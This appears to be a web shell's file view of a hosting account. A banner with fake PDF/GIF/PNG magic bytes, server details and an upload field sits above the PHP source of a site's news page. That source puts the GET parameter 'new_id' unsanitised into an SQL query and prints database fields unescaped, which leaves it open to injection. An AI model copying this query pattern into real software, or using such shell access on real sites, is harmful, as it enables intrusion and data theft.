%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_358eb648/ |
Upload File : |
<?php include('header.php'); ?>
<?php
$id=$_GET['new_id'];
$fetch_row=mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM service_tbl WHERE slug='$id'"));
?>
<!-- start page-title -->
<section class="page-title" style="background: url('<?= $base_url ?>images/Upload/service/<?= $fetch_row['image2'] ?>');">
<div class="container">
<div class="row">
<div class="col col-xs-12">
<h2>News Detail</h2>
<ol class="breadcrumb">
<li><a href="<?=$base_url?>">Home</a></li>
<li>News Detail</li>
</ol>
</div>
</div> <!-- end row -->
</div> <!-- end container -->
</section>
<!-- end page-title -->
<section class="blog-single section-padding">
<div class="container">
<div class="row">
<div class="col col-lg-8 col-md-9 blog-single-content">
<div class="post">
<div class="media">
<img src="<?=$base_url?>images/Upload/service/<?=$fetch_row['image1']?>" alt class="img img-responsive">
</div>
<div class="post-title-meta">
<button class="btn">Construction</button>
<h2><?=$fetch_row['title1']?></h2>
<ul>
<li><a href="#"><?=$fetch_row['name']?></a></li>
<li><a href="#"><?=date('M d, Y', strtotime($fetch_row['pos_date']))?></a></li>
</ul>
</div>
<?=$fetch_row['about1_arabic']?>
</div> <!-- end post -->
</div> <!-- end blog-content -->
<div class="blog-sidebar col col-lg-3 col-lg-offset-1 col-md-3 col-sm-5">
<div class="widget category-widget">
<h3>Category</h3>
<ul>
<?php
$querycc=mysqli_query($conn,"SELECT * FROM news_category ORDER BY ID DESC");
while($fetch_rowcc=mysqli_fetch_array($querycc)){
$jamal=mysqli_query($conn,"SELECT * FROM service_tbl WHERE id='".$fetch_rowcc['id']."'");
$count=mysqli_num_rows($jamal);
?>
<li><a href="#"><?=$fetch_rowcc['title']?><span class="badge"><?php echo $count;?></span></a></li>
<?PHP } ?>
</ul>
</div>
<div class="widget recent-post-widget">
<h3>Recent post</h3>
<ul>
<?php
$queryrec=mysqli_query($conn,"SELECT * FROM service_tbl WHERE STATUS=1 LIMIT 4");
$n=1;
while($fetch_rec=mysqli_fetch_array($queryrec)){
?>
<li>
<div class="post-pic">
<img src="<?=$base_url?>images/Upload/service/<?=$fetch_rec['image1']?>" alt>
</div>
<div class="details">
<h4><a href="<?=$base_url?><?=$fetch_rec['slug']?>-news"><?=$fetch_rec['title1']?></a></h4>
<span><?=date('M d, Y', strtotime($fetch_rec['pos_date']))?></span>
</div>
</li>
<?php } ?>
</ul>
</div>
</div>
</div>
</div> <!-- end container -->
</section>
<?php include('footer.php'); ?>